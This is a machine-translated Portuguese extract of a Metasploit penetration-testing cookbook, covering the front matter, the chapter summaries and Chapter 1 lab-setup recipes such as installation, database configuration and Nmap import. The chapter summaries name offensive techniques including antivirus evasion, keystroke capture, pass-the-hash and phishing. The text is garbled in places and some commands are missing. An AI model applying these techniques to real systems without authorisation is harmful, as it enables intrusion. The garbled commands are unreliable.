Escolar Documentos
Profissional Documentos
Cultura Documentos
Metasploit
Teste de penetração
Livro de receitas
Abhinav Singh
BIRMINGHAM - MUMBAI
Machine Translated by Google
Todos os direitos reservados. Nenhuma parte deste livro pode ser reproduzida, armazenada em um sistema de
recuperação ou transmitida de qualquer forma ou por qualquer meio, sem a permissão prévia por escrito do editor,
exceto no caso de breves citações incorporadas em artigos críticos ou resenhas.
Todo esforço foi feito na preparação deste livro para garantir a precisão das informações apresentadas. No entanto,
as informações contidas neste livro são vendidas sem garantia, expressa ou implícita. Nem o autor, nem a Packt
Publishing e seus revendedores e distribuidores serão responsabilizados por quaisquer danos causados ou supostamente
causados direta ou indiretamente por este livro.
A Packt Publishing se esforçou para fornecer informações de marca registrada sobre todas as empresas e produtos
mencionados neste livro pelo uso apropriado de maiúsculas. No entanto, a Packt Publishing não pode garantir a precisão
dessas informações.
ISBN 978-1-84951-742-3
www.packtpub.com
Créditos
Revisores revisor
Kubilay Onur Gungor Linda Morris
Kanishka Khaitan
Editor de aquisição
Usha Iyer Gráficos
Manu José
Melwyn D'sa
Editor Técnico
Vrinda Amberkar trabalho de capa
Melwyn D'sa
Machine Translated by Google
Sobre o autor
Sobre os Revisores
Kubilay Onur Gungor atualmente trabalha na Sony Europa como especialista em segurança de
aplicativos da Web e também é um dos gerentes de incidentes para as regiões da Europa e Ásia.
Ele trabalha na área de segurança de TI há mais de 5 anos. Após experiência individual de trabalho
em segurança, ele iniciou sua carreira em segurança com a criptoanálise de imagens, que são
criptografadas usando mapas logísticos caóticos. Ele ganhou experiência na área de segurança de
rede trabalhando no Data Processing Center da Isik University. Depois de trabalhar como QA Tester
na Netsparker, ele continuou seu trabalho na área de Testes de Penetração, para uma das principais
empresas de segurança da Turquia. Ele realizou muitos testes de penetração para as infraestruturas
de TI de muitos grandes clientes, como bancos, instituições governamentais e empresas de
telecomunicações. Ele também forneceu consultoria de segurança para vários fabricantes de software
para ajudar a proteger seus softwares compilados.
Kanishka Khaitan, pós-graduado em Master of Computer Application pela University of Pune, com honras
em matemática pela Banaras Hindu University, tem trabalhado no domínio da web com a Amazon nos
últimos dois anos. Antes disso, ela trabalhou para a Infibeam, uma startup de varejo online com sede na
Índia, em um programa de estágio com duração de seis meses.
Machine Translated by Google
Sachin Raste é um especialista líder em segurança, com mais de 17 anos de experiência nas áreas
de gerenciamento de rede e segurança da informação. Com sua equipe, ele projetou, simplificou e
integrou redes, aplicativos e processos de TI para algumas das grandes empresas da Índia e as
ajudou a alcançar a continuidade dos negócios.
Ele está atualmente trabalhando com a MicroWorld, os desenvolvedores da linha eScan de Soluções de
Segurança da Informação, como Pesquisador de Segurança Sênior. Ele projetou e desenvolveu alguns algoritmos
inovadores para detectar e prevenir Malware e Fraude Digital, para proteger redes de Hackers e Malware. Em
sua capacidade profissional, Sachin Raste apresentou muitos whitepapers e também participou de muitos programas
de TV divulgando a conscientização sobre fraudes digitais.
Trabalhar com a MicroWorld o ajudou a desenvolver suas habilidades técnicas para acompanhar as tendências atuais
do setor de Segurança da Informação.
Em primeiro lugar, gostaria de agradecer a minha esposa, meu filho e meu grupo de
amigos próximos pelo apoio, sem os quais tudo neste mundo teria parecido impossível.
Aos meus colegas da MicroWorld e de organizações anteriores, por serem ouvintes pacientes
e me ajudarem a concluir com sucesso projetos complexos; foi um prazer trabalhar com todos
vocês.
E ao meu chefe, MD da MicroWorld, por me permitir a liberdade e o espaço para explorar além
dos meus limites.
Agradeço a todos.
Machine Translated by Google
www.PacktPub.com
Você sabia que a Packt oferece versões eBook de todos os livros publicados, com arquivos PDF e ePub disponíveis?
Você pode atualizar para a versão eBook em www.PacktPub.com e, como cliente do livro impresso, tem direito a um
desconto na cópia do eBook. Entre em contato conosco em service@packtpub.com para mais detalhes.
Em www.PacktPub.com, você também pode ler uma coleção de artigos técnicos gratuitos, inscrever-se em uma
variedade de boletins informativos gratuitos e receber descontos e ofertas exclusivos nos livros e e-books da Packt.
http://PacktLib.PacktPub.com
Você precisa de soluções instantâneas para suas questões de TI? PacktLib é a biblioteca de livros digitais online da
Packt. Aqui, você pode acessar, ler e pesquisar toda a biblioteca de livros da Packt.
Dedicado aos meus avós por suas bênçãos. Aos meus pais e irmã pelo apoio e encorajamento,
e à minha querida amiga Neetika por ser uma motivadora.
-Abhinav Singh
Machine Translated by Google
Machine Translated by Google
Índice
Prefácio 1
Capítulo 1: Dicas rápidas do Metasploit para profissionais de segurança 7
Introdução 7
Configurando o Metasploit no Windows
Configurando o Metasploit no Ubuntu 9
Metasploit com BackTrack 5 – a melhor combinação Configurando 11 13
o laboratório de teste de penetração em uma única máquina 15
Configurando o Metasploit em uma máquina virtual com conectividade SSH 17
Começando com as interfaces – o "Hello World" do Metasploit Configurando 19
o banco de dados no Metasploit Usando o banco de dados para armazenar 21
os resultados dos testes de penetração Analisando os resultados 23
armazenados do banco de dados Capítulo 2: Coleta e varredura de 24
Índice
ii
Machine Translated by Google
Índice
Índice 243
iii
Machine Translated by Google
Índice
4
Machine Translated by Google
Prefácio
O teste de penetração é um dos principais aspectos da segurança de rede no cenário atual. Envolve
uma análise completa do sistema implementando testes de segurança da vida real. Ele ajuda a identificar
potenciais pontos fracos nos principais componentes do sistema que podem ocorrer em seu hardware ou
software. A razão que torna o teste de penetração um aspecto importante da segurança é que ele ajuda a
identificar ameaças e pontos fracos do ponto de vista de um hacker.
As brechas podem ser exploradas em tempo real para descobrir o impacto da vulnerabilidade e, em
seguida, um remédio ou patch adequado pode ser explorado para proteger o sistema de qualquer ataque
externo e reduzir os fatores de risco.
O maior fator que determina a viabilidade do teste de penetração é o conhecimento sobre o sistema de
destino. O teste de penetração de caixa preta é implementado quando não há conhecimento prévio do usuário-
alvo. Um pen-tester terá que começar do zero, coletando todas as informações sobre o sistema de destino para
implementar um ataque. No teste de caixa branca, o conhecimento completo sobre o alvo é conhecido e o
testador terá que identificar qualquer fraqueza conhecida ou desconhecida que possa existir. Qualquer um dos
dois métodos de teste de penetração são igualmente difíceis e são específicos do ambiente. Os profissionais da
indústria identificaram algumas das principais etapas que são essenciais em quase todas as formas de teste de
penetração. Estes são:
f Descoberta e enumeração do alvo: Identificar o alvo e coletar informações básicas sobre ele
sem fazer nenhuma conexão física com ele
f Nível de controle após a exploração: Este é o nível de acesso que um invasor pode
entrar no sistema de destino após uma exploração bem-sucedida
Prefácio
Essas etapas podem parecer poucas em número, mas, na verdade, um teste de penetração completo de
um sistema de ponta com muitos serviços em execução pode levar dias ou até meses para ser concluído.
A razão que torna o teste de penetração uma tarefa demorada é que ele é baseado na técnica de "tentativa e
erro". Exploits e vulnerabilidades dependem muito da configuração do sistema, portanto, nunca podemos ter
certeza de que um determinado exploit será bem-sucedido ou não, a menos que o tentemos. Considere o
exemplo de exploração de um sistema baseado no Windows que executa 10 serviços diferentes. Um pen-tester
terá que identificar se existem vulnerabilidades conhecidas para esses 10 serviços diferentes. Uma vez
identificados, inicia-se o processo de exploração. Este é um pequeno exemplo onde estamos considerando
apenas um sistema. E se tivermos toda uma rede de tais sistemas para penetrar um por um?
É aqui que uma estrutura de teste de penetração entra em ação. Eles automatizam vários processos de teste,
como varredura da rede, identificação de vulnerabilidades com base nos serviços disponíveis e suas versões,
exploração automática e assim por diante. Eles aceleram o processo de teste de penetração, fornecendo um
painel de controle completo para o testador, de onde ele pode gerenciar todas as atividades e monitorar os
sistemas de destino com eficiência. O outro benefício importante da estrutura de teste de penetração é a geração
de relatórios. Eles automatizam o processo de salvar os resultados dos testes de penetração e geram relatórios
que podem ser salvos para uso posterior ou podem ser compartilhados com outros colegas trabalhando
remotamente.
Metasploit Penetration Testing Cookbook visa ajudar os leitores a dominar uma das estruturas de teste de
penetração mais amplamente utilizadas nos cenários atuais. A estrutura Metasploit é uma plataforma de código
aberto que ajuda na criação de cenários de exploração da vida real, juntamente com outras funcionalidades
centrais de testes de penetração. Este livro o levará a uma emocionante jornada de exploração do mundo do
Metasploit e como ele pode ser usado para realizar testes de penetração eficazes. Este livro também cobrirá
algumas outras ferramentas de extensão que rodam sobre o framework e aprimoram suas funcionalidades para
fornecer uma melhor experiência de teste de penetração.
2
Machine Translated by Google
Prefácio
O Capítulo 4, Exploração do lado do cliente e desvio de antivírus, leva nossa discussão para a próxima etapa,
onde discutiremos como o Metasploit pode ser usado para executar a exploração do lado do cliente.
O capítulo aborda alguns dos softwares populares do lado do cliente, como Microsoft Office, Adobe Reader e
Internet Explorer. Mais adiante, o capítulo aborda uma extensa discussão sobre como eliminar a proteção
antivírus do lado do cliente para evitar o acionamento do alarme no sistema de destino.
O Capítulo 5, Usando o Meterpreter para explorar o alvo comprometido, discute a próxima etapa após a
exploração. O Meterpreter é uma ferramenta de pós-exploração que possui diversas funcionalidades, que podem
ser úteis para penetrar no alvo comprometido e obter mais informações.
O capítulo aborda algumas das técnicas úteis de teste de penetração, como escalonamento de privilégios,
acesso ao sistema de arquivos e detecção de pressionamento de tecla.
Capítulo 6, Advanced Meterpreter Scripting, leva nosso conhecimento Metasploit para o próximo nível, cobrindo
alguns tópicos avançados, como construir nosso próprio script meterpreter e trabalhar com mixins de API. Este
capítulo fornecerá flexibilidade aos leitores, pois eles podem implementar seus próprios scripts na estrutura de
acordo com o cenário. O capítulo também aborda alguns conceitos avançados de pós-exploração, como
pivotamento, passagem de hash e conexão persistente.
O Capítulo 7, Trabalhando com Módulos para Teste de Penetração, muda nosso foco para outro
aspecto importante do Metasploit; seus módulos. O Metasploit possui uma coleção decente de módulos
específicos que podem ser usados em cenários específicos. O capítulo aborda alguns módulos auxiliares
importantes e, posteriormente, avança para a construção de nossos próprios módulos Metasploit. O capítulo requer
algum conhecimento básico de scripts Ruby.
O Capítulo 8, Trabalhando com Exploits, adiciona a arma final ao arsenal, discutindo como podemos converter
qualquer exploit em um módulo Metasploit. Este é um capítulo avançado que permitirá aos leitores criar seus
próprios módulos de exploração do Metasploit e importá-los para o framework.
Como todos os exploits não são cobertos pelo framework, este capítulo pode ser útil caso desejemos testar
um exploit que não esteja no repositório do Metasploit. O capítulo também discute os módulos fuzzing que
podem ser úteis na construção de sua própria prova de conceito para qualquer vulnerabilidade. Por fim, o
capítulo termina com um exemplo completo de como podemos fuzzizar um aplicativo para encontrar as
condições de estouro e, em seguida, construir um módulo Metasploit para ele.
Capítulo 9, Trabalhando com Armitage, é uma breve discussão sobre uma das extensões Metasploit populares,
Armitage. Ele fornece uma interface gráfica para a estrutura e aprimora suas funcionalidades, fornecendo opções
de exploração de apontar e clicar. O capítulo se concentra em aspectos importantes do Armitage, como encontrar
vulnerabilidades rapidamente, lidar com vários alvos, alternar entre guias e lidar com pós-exploração.
3
Machine Translated by Google
Prefácio
O Capítulo 10, Kit de ferramentas do engenheiro social, é a discussão final deste livro, que
abrange ainda outra extensão importante da estrutura. O Social Engineer Toolkit (SET) é usado para
gerar casos de teste que dependem da negligência humana para comprometer o alvo. O capítulo
aborda vetores de ataque básicos relacionados ao SET, que inclui spear phishing, vetor de ataque a
sites, geração de mídia infecciosa, como um USB.
Além disso, você precisará de uma imagem ISO do BackTrack 5 que tenha o Metasploit pré-
instalado e outras ferramentas que discutiremos neste livro. Como alternativa, você pode baixar
a estrutura Metasploit separadamente para seu sistema operacional preferido em seu site oficial.
Convenções
Neste livro, você encontrará vários estilos de texto que distinguem diferentes tipos de informação.
Aqui estão alguns exemplos desses estilos e uma explicação de seu significado.
As palavras de código no texto são mostradas a seguir: "Os últimos dois comandos, vulns e
db_autopwn , são comandos pós-exploração, dos quais trataremos em capítulos posteriores."
4
Machine Translated by Google
Prefácio
$ chmod +x framework-4.*-linux-full.run
$ sudo ./framework-4.*-linux-full.run
Novos termos e palavras importantes são mostrados em negrito. As palavras que você vê na tela,
em menus ou caixas de diálogo, por exemplo, aparecem no texto assim: "Você pode iniciar o framework
Metasploit a partir do menu Aplicativos ou da linha de comando".
feedback do leitor
O feedback dos nossos leitores é sempre bem-vindo. Deixe-nos saber o que você pensa sobre este
livro - o que você gostou ou pode não ter gostado. O feedback dos leitores é importante para desenvolvermos
títulos que realmente aproveitem ao máximo.
Para nos enviar um feedback geral, basta enviar um e-mail para feedback@packtpub.com e
mencionar o título do livro no assunto de sua mensagem.
Se houver um tópico no qual você seja especialista e estiver interessado em escrever ou contribuir
para um livro, consulte nosso guia do autor em www.packtpub.com/authors.
Suporte ao cliente
Agora que você é o orgulhoso proprietário de um livro Packt, temos várias coisas para ajudá-lo a obter o
máximo de sua compra.
5
Machine Translated by Google
Prefácio
Errata
Embora tenhamos tomado todos os cuidados para garantir a precisão de nosso conteúdo, erros
acontecem. Se você encontrar um erro em um de nossos livros - talvez um erro no texto ou no
código - ficaríamos gratos se você nos relatasse isso. Ao fazer isso, você pode salvar outros leitores
da frustração e nos ajudar a melhorar as versões subsequentes deste livro. Se você encontrar
alguma errata, informe-a visitando http://www.packtpub.com/support, selecionando seu livro, clicando no
link do formulário de envio de errata e inserindo os detalhes de sua errata. Depois que suas errata forem
verificadas, seu envio será aceito e as errata serão carregadas em nosso site ou adicionadas a qualquer
lista de errata existente, na seção Errata desse título.
Pirataria A
pirataria de material protegido por direitos autorais na Internet é um problema constante em todas as
mídias. Na Packt, levamos muito a sério a proteção de nossos direitos autorais e licenças. Se você
encontrar cópias ilegais de nossos trabalhos, de qualquer forma, na Internet, forneça-nos o endereço do
local ou o nome do site imediatamente para que possamos buscar uma solução.
Dúvidas Você
pode entrar em contato conosco pelo e-mail question@packtpub.com se tiver algum
problema com qualquer aspecto do livro, e faremos o possível para resolvê-lo.
6
Machine Translated by Google
Metasploit rápido
1
Dicas de segurança
Profissionais
Introdução
Metasploit é atualmente a palavra mais movimentada no campo da segurança da informação e testes de penetração. Ele
revolucionou totalmente a forma como podemos realizar testes de segurança em nossos sistemas.
A razão que torna o Metasploit tão popular é a ampla gama de tarefas que ele pode executar para facilitar o trabalho de
teste de penetração para tornar os sistemas mais seguros. Metasploit está disponível para todos os sistemas
operacionais populares. O processo de trabalho do framework é quase o mesmo para todos eles. Aqui neste livro,
trabalharemos principalmente no sistema operacional BackTrack 5, pois ele vem com a estrutura Metasploit pré-instalada
e outras ferramentas de terceiros que são executadas na estrutura.
Machine Translated by Google
Vamos começar com uma rápida introdução ao framework e as várias terminologias relacionadas a ele:
f Exploit: Exploit é um código que permite que um invasor/testador tire proveito do sistema vulnerável
e comprometa sua segurança. Cada vulnerabilidade tem sua própria exploração correspondente.
Metasploit v4 tem mais de 700 exploits.
f Payload: É o código real que faz o trabalho. Ele é executado no sistema após
exploração. Eles são usados principalmente para estabelecer uma conexão entre o atacante e a
máquina da vítima. Metasploit v4 tem mais de 250 cargas úteis.
f Módulo: Os módulos são os pequenos blocos de construção de um sistema completo. Cada módulo executa
uma tarefa específica e um sistema completo é construído combinando vários módulos para funcionar
como uma única unidade. A maior vantagem de tal arquitetura é que se torna fácil para os desenvolvedores
integrar um novo código de exploração e ferramentas na estrutura.
A estrutura do Metasploit possui uma arquitetura modular e os exploits, carga útil, codificadores e assim por diante
são considerados módulos separados.
Arquitetura Metasploit
BIBLIOTECAS INTERFACES
CLI
Núcleo MSF
Rede
MÓDULOS
8
Machine Translated by Google
Capítulo 1
O Metasploit usa diferentes bibliotecas que contêm a chave para o bom funcionamento do framework.
Essas bibliotecas são uma coleção de tarefas, operações e funções predefinidas que podem ser utilizadas por
diferentes módulos da estrutura. A parte mais fundamental da estrutura é a biblioteca Ruby Extension (Rex) .
Alguns dos componentes fornecidos pelo Rex incluem um subsistema de soquete wrapper, implementações de
clientes e servidores de protocolo, um subsistema de log, classes de utilitários de exploração e várias outras
classes úteis.
O próprio Rex foi projetado para não ter dependências, além do que vem com a instalação padrão do Ruby.
Então temos a biblioteca MSF Core que estende o Rex. O Core é responsável por implementar todas as interfaces
necessárias que permitem a interação com módulos de exploração, sessões e plug-ins. Esta biblioteca central é
estendida pela biblioteca base do framework, que é projetada para fornecer rotinas wrapper mais simples para lidar
com o núcleo do framework, bem como fornecer classes utilitárias para lidar com diferentes aspectos do framework,
como serializar um estado de módulo para diferentes formatos de saída . Por fim, a biblioteca base é estendida pela
User Interface (UI) do framework que implementa suporte para os diferentes tipos de interfaces de usuário ao próprio
framework, como o console de comandos e a interface web.
Existem quatro interfaces de usuário diferentes fornecidas com a estrutura: msfconsole, msfcli, msfgui e msfweb.
É altamente recomendável verificar todas essas diferentes interfaces, mas neste livro trabalharemos principalmente
na interface msfconsole . A razão por trás disso é que msfconsole fornece o melhor suporte para a estrutura,
aproveitando todas as funcionalidades.
Passemos agora às receitas deste capítulo e analisemos de forma prática os vários aspectos.
Preparando-se
Você notará que existem dois tipos de instalador disponíveis para Windows. Recomenda-se baixar o instalador
completo do framework Metasploit que contém o console e todas as outras dependências relevantes, juntamente
com o banco de dados e a configuração do tempo de execução. Caso você já tenha um banco de dados configurado
que deseja usar também para o framework, então você pode ir para o mini instalador do framework que instala
apenas o console e as dependências.
9
Machine Translated by Google
Como funciona...
Você descobrirá que o instalador criou muitos atalhos para você. A maioria das coisas é click-and-go em um
ambiente Windows. Algumas das opções que você encontrará são Metasploit web, console cmd, atualização do
Metasploit e assim por diante.
Tem mais...
Agora vamos falar sobre algumas outras opções, ou possivelmente algumas informações gerais, que são
relevantes para instalar a estrutura Metasploit no Windows explicitamente.
10
Machine Translated by Google
Capítulo 1
f PostgreSQL não está em execução. Use o Netstat para descobrir se a porta está aberta e o banco de dados
está correndo.
f Alguns instaladores requerem um caminho de instalação padrão. Por exemplo, se o caminho padrão for
Unidade C , alterá-la para a unidade D causará esse erro.
f Codificação de idioma.
Se você enfrentar esse problema, poderá resolvê-lo baixando a versão mais simples da estrutura, que contém apenas o
console e as dependências. Em seguida, configure o banco de dados manualmente e conecte-o ao Metasploit.
Preparando-se
Baixe a configuração do site oficial do Metasploit (http://www.metasploit.com/download ).
Novamente, você terá a opção de escolher uma configuração mínima ou configuração completa. Escolha seu download de
acordo com sua necessidade. A configuração completa incluirá todas as dependências, configuração do banco de dados,
ambiente, etc., enquanto a configuração mínima conterá apenas as dependências sem configuração do banco de dados.
f Instalador completo: Você precisará executar os seguintes comandos para instalar o framework em sua
máquina Ubuntu:
$ chmod +x framework-4.*-linux-full.run
$ sudo ./framework-4.*-linux-full.run
f Instalador mínimo: Você precisará executar os seguintes comandos para instalar o framework com opções mínimas:
$ chmod +x framework-4.*-linux-mini.run
$ sudo ./framework-4.*-linux-mini.run
11
Machine Translated by Google
Como funciona...
O processo de instalação demonstrado acima é um procedimento de instalação simples baseado no Ubuntu para quase
todos os softwares. Quando a instalação estiver concluída, você pode executar hash –r para recarregar seu caminho.
Tem mais...
Agora vamos falar sobre algumas outras opções, ou possivelmente algumas informações gerais que são relevantes
para esta tarefa.
$ sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri
rubygems
12
Machine Translated by Google
Capítulo 1
Depois de instalar as seguintes dependências, baixe o metasploit Unix tarball da página oficial de
download do Metasploit e execute os seguintes comandos:
$ tar xf framework-4.X.tar.gz
Na execução bem-sucedida dos comandos anteriores, a estrutura estará funcionando para receber suas
instruções.
O BackTrack é o sistema operacional mais popular para profissionais de segurança por dois motivos.
Em primeiro lugar, ele possui todas as ferramentas populares de teste de penetração pré-instaladas, o que
reduz o custo de uma instalação separada. Em segundo lugar, é um sistema operacional baseado em Linux que
o torna menos propenso a ataques de vírus e oferece mais estabilidade durante o teste de penetração. Ele
economiza seu tempo de instalação de componentes e ferramentas relevantes e quem sabe quando você pode
encontrar um erro desconhecido durante o processo de instalação.
Preparando-se
Você pode ter uma instalação separada do BackTrack em seu disco rígido ou também pode usá-lo em um
host em uma máquina virtual. O processo de instalação é simples e igual à instalação de qualquer sistema
operacional baseado em Linux.
2. No login bem-sucedido, você pode trabalhar na linha de comando ou digitar startx para entrar no modo
GUI.
13
Machine Translated by Google
4. Metasploit segue uma hierarquia de estrutura de diretório simples onde a pasta raiz é
pentest. O diretório se ramifica para /exploits/framework3. Para iniciar o Metasploit a partir da linha de
comando, inicie o terminal e digite o seguinte comando para ir para o diretório do Metasploit:
root@bt:~# cd /pentest/exploits/framework3
root@bt:/ pentest/exploits/framework3 ~# ./msfconsole
Como funciona...
Iniciar o Metasploit a partir da linha de comando seguirá o caminho completo para o msfconsole.
Iniciá-lo a partir do menu Aplicativo nos fornecerá acesso direto a diferentes UIs disponíveis para nós.
14
Machine Translated by Google
Capítulo 1
Preparando-se
Estaremos usando uma caixa virtual para configurar duas máquinas virtuais com os sistemas operacionais
BackTrack 5 e Windows XP SP2. Nosso sistema host é uma máquina Windows 7. Vamos precisar do instalador
da caixa virtual e de um arquivo de imagem ou um disco de instalação dos dois sistemas operacionais que
queremos configurar na máquina virtual. Portanto, nossa configuração completa consistirá em um sistema host
executando o Windows 7 com dois sistemas virtuais executando o BackTrack 5 e o Windows XP SP2,
respectivamente.
1. Depois de instalar a caixa virtual, crie uma nova máquina virtual. Selecione os
opções apropriadas e clique em Avançar. Você terá que fornecer um meio de instalação
para iniciar a configuração. A mídia pode ser um arquivo de imagem ou um disco de instalação.
Para obter um manual completo sobre uma máquina virtual e o procedimento de instalação, você
pode visitar o seguinte link:
http://www.virtualbox.org/manual/UserManual.html
2. Para um melhor desempenho da máquina virtual, é recomendável ter pelo menos 4 GB de RAM
disponível para um sistema operacional de 32 bits e 8 GB de RAM para 64 bits. Na próxima receita,
mostrarei uma maneira legal de reduzir o uso de memória ao executar várias máquinas virtuais.
3. Uma vez criada a máquina virtual (VM) , você pode usar a opção "clonar". Isso vai
crie uma cópia exata de sua VM para que, caso ocorra alguma falha em sua VM operacional, você
possa alternar para a VM clonada sem se preocupar em reinstalá-la. Além disso, você pode usar a
opção "snapshot" para salvar o estado atual da sua VM. O instantâneo salvará as configurações de
trabalho atuais de sua máquina virtual e você poderá voltar ao instantâneo salvo a qualquer momento
no futuro.
15
Machine Translated by Google
Como funciona...
Antes de iniciar suas máquinas virtuais, há uma configuração importante que teremos que fazer para que as duas máquinas
virtuais se comuniquem. Selecione uma das máquinas virtuais e clique em Configurações. Em seguida, vá para
Configurações de rede. No adaptador de rede, haverá um adaptador NAT pré-instalado para uso da Internet na máquina
host.
Em Adaptador 2, selecione Adaptador somente para host:
Siga este processo para ambas as máquinas virtuais. O motivo para configurar o adaptador somente host é fazer com que
as duas máquinas virtuais se comuniquem. Agora, para testar se está tudo bem, verifique o endereço IP da máquina virtual
do Windows digitando ipconfig no prompt de comando. Agora faça ping na máquina Windows (usando o endereço IP local
obtido do comando ipconfig ) da máquina BackTrack para ver se ela está recebendo os pacotes ou não. Siga o processo vice-
versa para verificar ambas as máquinas.
Tem mais...
Agora vamos falar sobre algumas outras opções, ou possivelmente algumas informações gerais, que são relevantes
para esta tarefa.
descobrir que, ao fazer o ping da máquina Windows a partir da máquina BackTrack, os pacotes não são recebidos. Isso
significa que a máquina Windows não está
16
Machine Translated by Google
Capítulo 1
vivo. Isso pode ser devido à configuração padrão do firewall do Windows. Portanto, desative a proteção do firewall e faça
ping novamente para ver se os pacotes estão sendo recebidos ou não. Além disso, desative qualquer firewall que possa
estar instalado na máquina virtual.
fornece uma instalação adicional de complementos que podem melhorar sua experiência de uso virtual. Alguns de seus
principais benefícios são:
f Movimento contínuo do mouse do sistema operacional host para o sistema operacional virtual
Para instalar as adições de convidados, ligue a máquina virtual, vá para a guia Dispositivo e clique em Instalar adições
de convidados.
Preparando-se
Tudo o que precisamos é de um cliente SSH. Usaremos o PuTTY, pois é o cliente SSH mais popular e gratuito disponível
para Windows. Vamos configurar uma conectividade SSH com a máquina Backtrack, pois ela consome mais memória do
que a máquina Windows XP.
17
Machine Translated by Google
root@bt:~# ifconfig
3. Agora inicie o PuTTY no sistema operacional host. Digite o endereço IP da máquina virtual BackTrack e digite a
porta 22:
4. Agora clique em Abrir para iniciar a linha de comando. Se a conexão for bem-sucedida, você verá a linha de
comando PuTTY funcionando em nome da máquina BackTrack. Ele vai pedir para você fazer login. Digite as
credenciais e digite ifconfig para verificar se o IP é o mesmo do BackTrack virtual:
18
Machine Translated by Google
Capítulo 1
Como funciona...
Nesta sessão SSH, agora podemos interagir com a máquina virtual BackTrack usando PuTTY. Como a GUI não é
carregada, ela reduz o consumo de memória quase pela metade. Além disso, minimizar a máquina virtual BackTrack
reduzirá ainda mais o consumo de memória, pois o sistema operacional Windows fornece menos compartilhamento
de memória para os processos que são minimizados e fornece uma execução mais rápida das tarefas que estão
sendo executadas no modo maximizado. Isso reduzirá ainda mais o consumo de memória até certo ponto.
19
Machine Translated by Google
Preparando-se
Inicialize seu sistema operacional no qual você instalou o Metasploit. Se você estiver usando em uma máquina virtual,
inicie-o.
1. Para um sistema operacional Windows, você pode iniciar o msfconsole acessando Iniciar | estrutura
metasploit | msfconsole.
2. Para BackTrack, você pode navegar até Aplicativos | Ferramentas de exploração | Ferramentas
de exploração de rede | Estrutura Metasploit | msfconsole.
Agora, nossa interface msfconsole está funcionando e pronta para receber os comandos.
Como funciona...
As interfaces Metasploit estendem a biblioteca base que lhes permite evocar as funcionalidades
iniciais do framework. Comandos simples, como configurar exploits e payloads, executar atualizações e configurar o
banco de dados podem ser executados. Uma vez que o processo se aprofunda, as outras bibliotecas funcionais são
chamadas de acordo.
Tem mais...
Vamos adicionar algumas coisas adicionais que você pode executar neste estágio com a
interface msfconsole .
20
Machine Translated by Google
Capítulo 1
f msf > help: Este comando irá listar todos os comandos disponíveis para o framework Metasploit
que podemos usar. Os comandos são categorizados em comandos principais e comandos
de back-end do banco de dados. O primeiro contém comandos que estão diretamente
relacionados ao framework, enquanto o último fornece comandos para interagir com o
banco de dados.
f msf > msfupdate: Este comando deve ser usado com frequência para atualizar a estrutura
com as últimas explorações, cargas úteis, bibliotecas e assim por diante.
Preparando-se
Metasploit vem com PostgreSQL como banco de dados padrão. Para a máquina BackTrack, temos mais uma opção - MySQL.
Você pode usar qualquer um dos dois bancos de dados. Vamos primeiro verificar as configurações padrão do banco de dados
PostgreSQL. Teremos que navegar para database.yml localizado em opt/framework3/config. Para fazer isso, execute o seguinte
comando:
root@bt:~# cd /opt/framework3/config
root@bt:/ opt/framework3/config# cat database.yml
produção:
adaptador: banco de dados
postgresql: msf3
nome de usuário: msf3
senha: 8b826ac0 host:
127.0.0.1
porta: 7175
pool: 75 tempo
limite: 5
Observe o nome de usuário padrão, senha e banco de dados padrão que foi criado.
Anote esses valores, pois eles serão necessários posteriormente. Você também pode alterar esses valores de
acordo com sua escolha.
21
Machine Translated by Google
O PostgreSQL é definido como o banco de dados padrão. Se você deseja alterar o driver do banco de dados, execute
o seguinte comando:
Isso mudará o driver ativo para MySQL. Neste livro, usaremos principalmente o PostgreSQL para demonstrações.
Como funciona...
Para conectar o driver ao msfconsle , usaremos o comando db_connect .
Este comando será executado usando a seguinte sintaxe:
Aqui usaremos os mesmos valores padrão de nome de usuário, senha, nome do banco de dados e número da
porta que acabamos de anotar no arquivo database.yml :
Tem mais...
Vamos discutir alguns fatos mais importantes relacionados à configuração do banco de dados.
22
Machine Translated by Google
Capítulo 1
Se o erro persistir, podemos reinstalar o banco de dados e as bibliotecas associadas usando os seguintes comandos:
momento, você pode descartar o banco de dados criado e começar novamente para armazenar novos resultados.
O seguinte comando pode ser executado para excluir o banco de dados:
Preparando-se
Se você executou com sucesso a receita anterior, está tudo pronto para usar o banco de dados para armazenar os
resultados. Digite o comando help no msfconsole para dar uma olhada rápida nos importantes comandos de banco de
dados disponíveis para nós.
23
Machine Translated by Google
Como podemos ver, o Nmap produziu os resultados da verificação e preencherá automaticamente o banco de
dados msf3 que estamos usando.
Também podemos usar o parâmetro –oX na varredura do Nmap para armazenar o resultado no formato XML. Isso
será muito benéfico para importarmos os resultados da verificação em outro software de terceiros, como o framework
Dardis, que analisaremos em nosso próximo capítulo.
Aqui relatório é o nome do arquivo onde o resultado da varredura será armazenado. Isso será útil para nós em
receitas posteriores do livro.
Como funciona...
O comando db_nmap cria uma consulta SQL com várias colunas de tabela relevantes para os resultados da verificação.
Uma vez concluída a verificação, ela começa a armazenar os valores no banco de dados. A flexibilidade de armazenar
resultados na forma de planilhas torna mais fácil compartilhar os resultados localmente ou com ferramentas de terceiros.
24
Machine Translated by Google
Capítulo 1
Preparando-se
Inicie o msfconsole e siga as etapas mencionadas na receita anterior para estabelecer a conectividade do
banco de dados. Podemos usá-lo para armazenar novos resultados ou analisar os resultados armazenados
anteriormente também. O arquivo XML para a varredura do Nmap criado na receita anterior pode ser
importado para analisar os resultados da varredura anterior.
Anfitriões
=====
endereço os_name
25
Machine Translated by Google
------- ÿÿÿÿ
------
192.168.56.1
192.168.56.101
192.168.56.102MicrosoftWindows
192.168.56.103Linux
f msf > services: Este é outro comando interessante que pode nos fornecer informações úteis sobre os
diferentes serviços em execução nas máquinas de destino:
Serviços
========
192.168.56.101 111 tcp rpcbind aberto 192.168.56.102 135 tcp msrpc aberto
192.168.56.102 139 tcp netbios-ssn aberto 192.168.56.102 445 tcp microsoft-ds aberto
192.168.56.102 tcp microsoft-ds aberto 192.168.56.102 tcp msrpc mmicrosoft.
f msf > vulns: Este comando lista todas as vulnerabilidades existentes nos hosts presentes
no banco de dados.
Como funciona...
O processo de análise é simples e pode ser facilmente filtrado para obter os resultados desejados. Vimos como ler
a saída do banco de dados e como podemos gerenciá-la com eficiência. Os dois últimos comandos, vulns e
db_autopwn , são comandos pós-exploração, dos quais trataremos em capítulos posteriores.
26
Machine Translated by Google
Coleta e digitalização de
2
informações
Neste capítulo, abordaremos:
Introdução
A coleta de informações é o primeiro passo básico para o teste de penetração. Esta etapa é realizada para
descobrir o máximo possível de informações sobre a máquina de destino. Quanto mais informações tivermos,
